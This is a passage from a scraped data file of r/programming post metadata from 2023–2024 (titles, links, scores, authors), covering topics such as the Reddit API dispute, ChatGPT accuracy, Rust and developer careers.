  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bugsink.com/blog/software-bloat-makes-me-sad/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1fopzwf",
  "url": "https://news.alvaroduran.com/p/cringey-but-true-how-uber-tests-payments",
  "permalink": "https://www.reddit.com/r/programming/comments/1fopzwf/cringey_but_true_how_uber_tests_payments_in/",
  "title": "Cringey, But True: How Uber Tests Payments In Production",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.56,
  "numComments": 52,
  "createdAt": "2024-09-24T23:03:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://news.alvaroduran.com/p/cringey-but-true-how-uber-tests-payments",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1eyh50n",
  "url": "https://pboyd.io/posts/udp/",
  "permalink": "https://www.reddit.com/r/programming/comments/1eyh50n/why_sometimes_udp_is_better_than_tcp/",
  "title": "Why sometimes UDP is better than TCP",
  "body": null,
  "author": "xolve",
  "subreddit": "programming",
  "score": 53,
  "upvoteRatio": 0.56,
  "numComments": 129,
  "createdAt": "2024-08-22T11:41:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pboyd.io/posts/udp/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ekbe8d",
  "url": "https://www.microbus.io/post/microservices-the-promised-land-of-infinite-scalability",
  "permalink": "https://www.reddit.com/r/programming/comments/1ekbe8d/microservices_the_promised_land_of_infinite/",
  "title": "Microservices: The Promised Land of Infinite Scalability",
  "body": null,
  "author": "microbus-io",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.56,
  "numComments": 126,
  "createdAt": "2024-08-05T01:19:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.microbus.io/post/microservices-the-promised-land-of-infinite-scalability",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1dvsze9",
  "url": "https://queue.acm.org/detail.cfm?id=3212479",
  "permalink": "https://www.reddit.com/r/programming/comments/1dvsze9/c_is_not_a_lowlevel_language_your_computer_is_not/",
  "title": "C Is Not a Low-level Language - Your computer is not a fast PDP-11 (David Chisnall, 2018)",
  "body": null,
  "author": "Alexander_Selkirk",
  "subreddit": "programming",
  "score": 48,
  "upvoteRatio": 0.54,
  "numComments": 185,
  "createdAt": "2024-07-05T08:19:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://queue.acm.org/detail.cfm?id=3212479",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1czk8nv",
  "url": "https://futurism.com/the-byte/study-chatgpt-answers-wrong",
  "permalink": "https://www.reddit.com/r/programming/comments/1czk8nv/study_finds_that_52_percent_of_chatgpt_answers_to/",
  "title": "Study Finds That 52 Percent of ChatGPT Answers to Programming Questions Are Wrong",
  "body": null,
  "author": "anseho",
  "subreddit": "programming",
  "score": 6402,
  "upvoteRatio": 0.95,
  "numComments": 814,
  "createdAt": "2024-05-24T13:04:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://futurism.com/the-byte/study-chatgpt-answers-wrong",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1cnom0h",
  "url": "https://www.tomshardware.com/tech-industry/artificial-intelligence/stack-overflow-bans-users-en-masse-for-rebelling-against-openai-partnership-users-banned-for-deleting-answers-to-prevent-them-being-used-to-train-chatgpt",
  "permalink": "https://www.reddit.com/r/programming/comments/1cnom0h/stack_overflow_bans_users_en_masse_for_rebelling/",
  "title": "Stack Overflow bans users en masse for rebelling against OpenAI partnership — users banned for deleting answers to prevent them being used to train ChatGPT | Tom's Hardware",
  "body": ".",
  "author": "PIZT",
  "subreddit": "programming",
  "score": 4263,
  "upvoteRatio": 0.96,
  "numComments": 861,
  "createdAt": "2024-05-09T04:25:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.tomshardware.com/tech-industry/artificial-intelligence/stack-overflow-bans-users-en-masse-for-rebelling-against-openai-partnership-users-banned-for-deleting-answers-to-prevent-them-being-used-to-train-chatgpt",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1cb4oah",
  "url": "https://medium.com/@john_25313/c-isnt-a-hangover-rust-isn-t-a-hangover-cure-580c9b35b5ce",
  "permalink": "https://www.reddit.com/r/programming/comments/1cb4oah/c_isnt_a_hangover_rust_isnt_a_hangover_cure/",
  "title": "C isn’t a Hangover; Rust isn’t a Hangover Cure",
  "body": null,
  "author": "TuriSabries",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 14,
  "createdAt": "2024-04-23T13:29:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@john_25313/c-isnt-a-hangover-rust-isn-t-a-hangover-cure-580c9b35b5ce",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1c8vbr9",
  "url": "https://vadimkravcenko.com/shorts/10x-engineers/",
  "permalink": "https://www.reddit.com/r/programming/comments/1c8vbr9/10x_engineers_vs_10x_burdens/",
  "title": "10x Engineers vs -10x Burdens",
  "body": null,
  "author": "bndrz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 20,
  "createdAt": "2024-04-20T17:23:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vadimkravcenko.com/shorts/10x-engineers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1c65w33",
  "url": "https://en.wikipedia.org/wiki/Rubber_duck_debugging",
  "permalink": "https://www.reddit.com/r/programming/comments/1c65w33/how_common_is_rubber_duck_debugging_among/",
  "title": "How Common is Rubber Duck Debugging Among Developers",
  "body": "Hello everyone,\n\nI'm curious about how much developers know the technique of rubber duck debugging. \nHave you ever used rubber duck debugging? Is it a common term or only a niche term?\n",
  "author": "Professional_Try2053",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 64,
  "createdAt": "2024-04-17T09:55:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://en.wikipedia.org/wiki/Rubber_duck_debugging",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1c0gb5d",
  "url": "https://copilotkit.hashnode.dev/how-to-build-a-v0dev-clone-nextjs-gpt4-copilotkit",
  "permalink": "https://www.reddit.com/r/programming/comments/1c0gb5d/how_to_build_a_v0_clone_nextjs_gpt4_copilotkit/",
  "title": "How to build: a v0 clone (Next.js, GPT4 & CopilotKit)",
  "body": null,
  "author": "sleepysiding22",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 8,
  "createdAt": "2024-04-10T08:04:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://copilotkit.hashnode.dev/how-to-build-a-v0dev-clone-nextjs-gpt4-copilotkit",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1blvnfr",
  "url": "https://www.infoq.com/news/2024/03/dotnet-smart-ai-components/",
  "permalink": "https://www.reddit.com/r/programming/comments/1blvnfr/microsoft_introduces_net_smart_components/",
  "title": "Microsoft Introduces .NET Smart Components: AI-Powered UI Controls",
  "body": null,
  "author": "almirvuk",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 33,
  "createdAt": "2024-03-23T16:01:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.infoq.com/news/2024/03/dotnet-smart-ai-components/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1bik62v",
  "url": "https://newsletter.systemdesign.one/p/tinder-architecture",
  "permalink": "https://www.reddit.com/r/programming/comments/1bik62v/how_tinder_scaled_to_16_billion_swipes_per_day/",
  "title": "How Tinder Scaled to 1.6 Billion Swipes per Day",
  "body": null,
  "author": "sdxyz42",
  "subreddit": "programming",
  "score": 98,
  "upvoteRatio": 0.56,
  "numComments": 76,
  "createdAt": "2024-03-19T13:23:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.systemdesign.one/p/tinder-architecture",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1b23ilt",
  "url": "https://www.guardsquare.com/blog/ai-coding-assistant-mast",
  "permalink": "https://www.reddit.com/r/programming/comments/1b23ilt/why_your_ai_coding_hero_needs_a_security_sidekick/",
  "title": "Why Your AI Coding Hero Needs a Security Sidekick",
  "body": null,
  "author": "dennistitze",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.51,
  "numComments": 7,
  "createdAt": "2024-02-28T11:07:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.guardsquare.com/blog/ai-coding-assistant-mast",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1b0lwwm",
  "url": "https://sigpwned.com/2024/02/24/reverse-engineering-with-chatgpt-an-example/",
  "permalink": "https://www.reddit.com/r/programming/comments/1b0lwwm/reverse_engineering_with_chatgpt_an_example_i/",
  "title": "Reverse Engineering with ChatGPT: An Example -- \"I used ChatGPT 4 to untangle a particularly terse bit of code, and was — frankly — shocked at how well it did.\"",
  "body": null,
  "author": "sigpwned",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 143,
  "createdAt": "2024-02-26T16:37:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sigpwned.com/2024/02/24/reverse-engineering-with-chatgpt-an-example/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1abk8o6",
  "url": "https://www.itpro.com/software/agile-development-is-fading-in-popularity-at-large-enterprises-and-developer-burnout-is-a-key-factor",
  "permalink": "https://www.reddit.com/r/programming/comments/1abk8o6/agile_development_is_fading_in_popularity_at/",
  "title": "Agile development is fading in popularity at large enterprises - and developer burnout is a key factor",
  "body": "Is it ?",
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3777,
  "upvoteRatio": 0.95,
  "numComments": 1176,
  "createdAt": "2024-01-26T14:58:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.itpro.com/software/agile-development-is-fading-in-popularity-at-large-enterprises-and-developer-burnout-is-a-key-factor",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_19dqzkc",
  "url": "https://zaidesanton.substack.com/p/hiring-only-seniors-is-worst-policy",
  "permalink": "https://www.reddit.com/r/programming/comments/19dqzkc/hiring_only_seniors_is_the_worst_policy_in_the/",
  "title": "Hiring ONLY seniors is the worst policy in the software industry",
  "body": null,
  "author": "zaidesanton",
  "subreddit": "programming",
  "score": 271,
  "upvoteRatio": 0.55,
  "numComments": 597,
  "createdAt": "2024-01-23T15:30:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zaidesanton.substack.com/p/hiring-only-seniors-is-worst-policy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_18ql19c",
  "url": "https://zaidesanton.substack.com/p/getting-the-most-out-of-your-software",
  "permalink": "https://www.reddit.com/r/programming/comments/18ql19c/getting_the_most_out_of_your_software_architects/",
  "title": "Getting the most out of your Software Architects",
  "body": null,
  "author": "zaidesanton",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.51,
  "numComments": 22,
  "createdAt": "2023-12-25T15:46:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zaidesanton.substack.com/p/getting-the-most-out-of-your-software",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_18al42v",
  "url": "https://www.pcmag.com/articles/ibms-plan-to-update-cobol-with-watson",
  "permalink": "https://www.reddit.com/r/programming/comments/18al42v/the_world_depends_on_60yearold_code_no_one_knows/",
  "title": "The World Depends on 60-Year-Old Code No One Knows Anymore",
  "body": null,
  "author": "debordian",
  "subreddit": "programming",
  "score": 4393,
  "upvoteRatio": 0.92,
  "numComments": 1082,
  "createdAt": "2023-12-04T14:16:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pcmag.com/articles/ibms-plan-to-update-cobol-with-watson",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_182sy9p",
  "url": "https://notepad-plus-plus.org/news/v86-20thyearanniversary/",
  "permalink": "https://www.reddit.com/r/programming/comments/182sy9p/notepad_is_20_years_old_today/",
  "title": "Notepad++ is 20 years old today",
  "body": null,
  "author": "mareek",
  "subreddit": "programming",
  "score": 3031,
  "upvoteRatio": 0.96,
  "numComments": 346,
  "createdAt": "2023-11-24T14:10:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://notepad-plus-plus.org/news/v86-20thyearanniversary/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_182qnbd",
  "url": "https://www.kalzumeus.com/2011/10/28/dont-call-yourself-a-programmer/",
  "permalink": "https://www.reddit.com/r/programming/comments/182qnbd/dont_call_yourself_a_programmer_and_other_career/",
  "title": "Don't call yourself a programmer, and other career advice",
  "body": "Came across this nice post. Worth reading it. Posted it here in case it wasn't already posted.",
  "author": "fedupfromeverything",
  "subreddit": "programming",
  "score": 135,
  "upvoteRatio": 0.6,
  "numComments": 344,
  "createdAt": "2023-11-24T12:04:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.kalzumeus.com/2011/10/28/dont-call-yourself-a-programmer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_17znqfh",
  "url": "https://www.engprax.com/post/75-of-software-engineers-faced-retaliation-last-time-they-report-wrongdoing",
  "permalink": "https://www.reddit.com/r/programming/comments/17znqfh/75_of_software_engineers_faced_retaliation_last/",
  "title": "75% of Software Engineers Faced Retaliation Last Time They Reported Wrongdoing",
  "body": null,
  "author": "civicode",
  "subreddit": "programming",
  "score": 3219,
  "upvoteRatio": 0.96,
  "numComments": 249,
  "createdAt": "2023-11-20T12:45:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.engprax.com/post/75-of-software-engineers-faced-retaliation-last-time-they-report-wrongdoing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_17wtatq",
  "url": "https://newsletter.techleadmentor.com/p/stop-parroting-youtube-solutions",
  "permalink": "https://www.reddit.com/r/programming/comments/17wtatq/stop_parroting_youtube_solutions_in_system_design/",
  "title": "Stop Parroting YouTube solutions in System Design Interviews",
  "body": null,
  "author": "torque226",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 12,
  "createdAt": "2023-11-16T18:04:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.techleadmentor.com/p/stop-parroting-youtube-solutions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_17v3p8k",
  "url": "https://www.epochconverter.com/countdown?q=1700000000",
  "permalink": "https://www.reddit.com/r/programming/comments/17v3p8k/unix_time_reaches_1700000000_today/",
  "title": "Unix time reaches 1700000000 today!",
  "body": null,
  "author": "DingoFreedomParty",
  "subreddit": "programming",
  "score": 3130,
  "upvoteRatio": 0.96,
  "numComments": 183,
  "createdAt": "2023-11-14T14:43:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.epochconverter.com/countdown?q=1700000000",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_17n1gtk",
  "url": "https://www.youtube.com/watch?v=fcfVjd_oV1I",
  "permalink": "https://www.reddit.com/r/programming/comments/17n1gtk/how_to_not_get_screwed_as_a_software_engineer/",
  "title": "How To NOT Get Screwed As A Software Engineer",
  "body": null,
  "author": "zachboth",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 11,
  "createdAt": "2023-11-03T18:22:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=fcfVjd_oV1I",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_175dm3n",
  "url": "https://tgr.dev/get-visibility-on-x-twitter-schedule-your-posts-with-nextjs",
  "permalink": "https://www.reddit.com/r/programming/comments/175dm3n/how_to_schedule_your_posts_on_x_with_nextjs/",
  "title": "How to schedule your posts on X with NextJS, Supabase, and TriggerDev",
  "body": null,
  "author": "Alternative-Rich-578",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.53,
  "numComments": 6,
  "createdAt": "2023-10-11T13:07:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tgr.dev/get-visibility-on-x-twitter-schedule-your-posts-with-nextjs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_16y1ie7",
  "url": "https://soatok.blog/2023/10/02/return-to-office-is-bullshit-and-everyone-knows-it/",
  "permalink": "https://www.reddit.com/r/programming/comments/16y1ie7/return_to_office_is_bullshit_and_everyone_knows_it/",
  "title": "Return to Office Is Bullshit And Everyone Knows It",
  "body": null,
  "author": "JohnDoe_John",
  "subreddit": "programming",
  "score": 4650,
  "upvoteRatio": 0.89,
  "numComments": 1033,
  "createdAt": "2023-10-02T16:41:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://soatok.blog/2023/10/02/return-to-office-is-bullshit-and-everyone-knows-it/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_16r5347",
  "url": "https://codesubmit.io/blog/game-developer-dream-job/",
  "permalink": "https://www.reddit.com/r/programming/comments/16r5347/is_game_development_a_dream_job/",
  "title": "Is Game Development a Dream Job?",
  "body": null,
  "author": "codesubmit",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.51,
  "numComments": 82,
  "createdAt": "2023-09-24T18:36:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codesubmit.io/blog/game-developer-dream-job/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_16qqbn9",
  "url": "https://techcrunch.com/2023/09/20/github-ceo-despite-ai-gains-demand-for-software-developers-will-still-outweigh-supply/?guccounter=1",
  "permalink": "https://www.reddit.com/r/programming/comments/16qqbn9/github_ceo_despite_ai_gains_demand_for_software/",
  "title": "GitHub CEO: despite AI gains, demand for software developers will still outweigh supply",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3118,
  "upvoteRatio": 0.95,
  "numComments": 665,
  "createdAt": "2023-09-24T06:25:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techcrunch.com/2023/09/20/github-ceo-despite-ai-gains-demand-for-software-developers-will-still-outweigh-supply/?guccounter=1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_16hhg2j",
  "url": "https://www.youtube.com/watch?v=zxf4qRHxXos",
  "permalink": "https://www.reddit.com/r/programming/comments/16hhg2j/how_to_become_performance_tester_in_2023/",
  "title": "How to Become Performance Tester in 2023",
  "body": null,
  "author": "Sea_Concentrate3951",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.54,
  "numComments": 6,
  "createdAt": "2023-09-13T08:29:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=zxf4qRHxXos",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_15ivsje",
  "url": "https://groups.google.com/g/vim_announce/c/tWahca9zkt4",
  "permalink": "https://www.reddit.com/r/programming/comments/15ivsje/bram_moolenaar_creator_of_vim_has_died/",
  "title": "Bram Moolenaar, creator of Vim, has died",
  "body": null,
  "author": "gogglygogol",
  "subreddit": "programming",
  "score": 2931,
  "upvoteRatio": 0.97,
  "numComments": 218,
  "createdAt": "2023-08-05T13:30:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://groups.google.com/g/vim_announce/c/tWahca9zkt4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_144sn8r",
  "url": "https://github.com/christianselig/apollo-backend",
  "permalink": "https://www.reddit.com/r/programming/comments/144sn8r/apollo_dev_posts_backend_code_to_git_to_disprove/",
  "title": "Apollo dev posts backend code to Git to disprove Reddit’s claims of scrapping and inefficiency",
  "body": null,
  "author": "GhostalMedia",
  "subreddit": "programming",
  "score": 45084,
  "upvoteRatio": 0.97,
  "numComments": 2370,
  "createdAt": "2023-06-09T02:24:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/christianselig/apollo-backend",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_141oyj9",
  "url": "https://www.reddit.com/r/Save3rdPartyApps/comments/13yh0jf/dont_let_reddit_kill_3rd_party_apps/",
  "permalink": "https://www.reddit.com/r/programming/comments/141oyj9/rprogramming_should_shut_down_from_12th_to_14th/",
  "title": "r/programming should shut down from 12th to 14th June",
  "body": null,
  "author": "Tintin_Quarentino",
  "subreddit": "programming",
  "score": 13395,
  "upvoteRatio": 0.95,
  "numComments": 534,
  "createdAt": "2023-06-05T19:28:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/Save3rdPartyApps/comments/13yh0jf/dont_let_reddit_kill_3rd_party_apps/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_13wuj25",
  "url": "https://9to5mac.com/2023/05/31/reddit-may-force-apollo-and-third-party-clients-to-shut-down/",
  "permalink": "https://www.reddit.com/r/programming/comments/13wuj25/reddit_may_force_apollo_dev_and_other_third_party/",
  "title": "Reddit may force Apollo dev and other third party clients to shut down",
  "body": null,
  "author": "aniforprez",
  "subreddit": "programming",
  "score": 12528,
  "upvoteRatio": 0.97,
  "numComments": 864,
  "createdAt": "2023-05-31T18:49:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://9to5mac.com/2023/05/31/reddit-may-force-apollo-and-third-party-clients-to-shut-down/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_13bg9zi",
  "url": "https://spacetraders.io/",
  "permalink": "https://www.reddit.com/r/programming/comments/13bg9zi/spacetraders_is_an_online_multiplayer_game_based/",
  "title": "Spacetraders is an online multiplayer game based entirely on APIs. You have to build your own management and UI on your own with any programming language.",
  "body": null,
  "author": "theKovah",
  "subreddit": "programming",
  "score": 4938,
  "upvoteRatio": 0.96,
  "numComments": 307,
  "createdAt": "2023-05-08T06:30:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spacetraders.io/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_132qedv",
  "url": "https://www.theregister.com/2023/04/27/microsoft_windows_rust/",
  "permalink": "https://www.reddit.com/r/programming/comments/132qedv/microsoft_is_rewriting_core_windows_libraries_in/",
  "title": "Microsoft is rewriting core Windows libraries in Rust",
  "body": null,
  "author": "GuillerminaCharity",
  "subreddit": "programming",
  "score": 3646,
  "upvoteRatio": 0.96,
  "numComments": 811,
  "createdAt": "2023-04-29T11:23:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2023/04/27/microsoft_windows_rust/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_12th28e",
  "url": "https://www.wired.com/story/stack-overflow-will-charge-ai-giants-for-training-data/",
  "permalink": "https://www.reddit.com/r/programming/comments/12th28e/stack_overflow_will_charge_ai_giants_for_training/",
  "title": "Stack Overflow Will Charge AI Giants for Training Data",
  "body": null,
  "author": "peard33",
  "subreddit": "programming",
  "score": 4021,
  "upvoteRatio": 0.97,
  "numComments": 660,
  "createdAt": "2023-04-20T22:16:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.wired.com/story/stack-overflow-will-charge-ai-giants-for-training-data/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_12r0xyz",
  "url": "https://techcrunch.com/2023/04/18/reddit-will-begin-charging-for-access-to-its-api/",
  "permalink": "https://www.reddit.com/r/programming/comments/12r0xyz/reddit_will_begin_charging_for_access_to_its_api/",
  "title": "Reddit will begin charging for access to its API",
  "body": null,
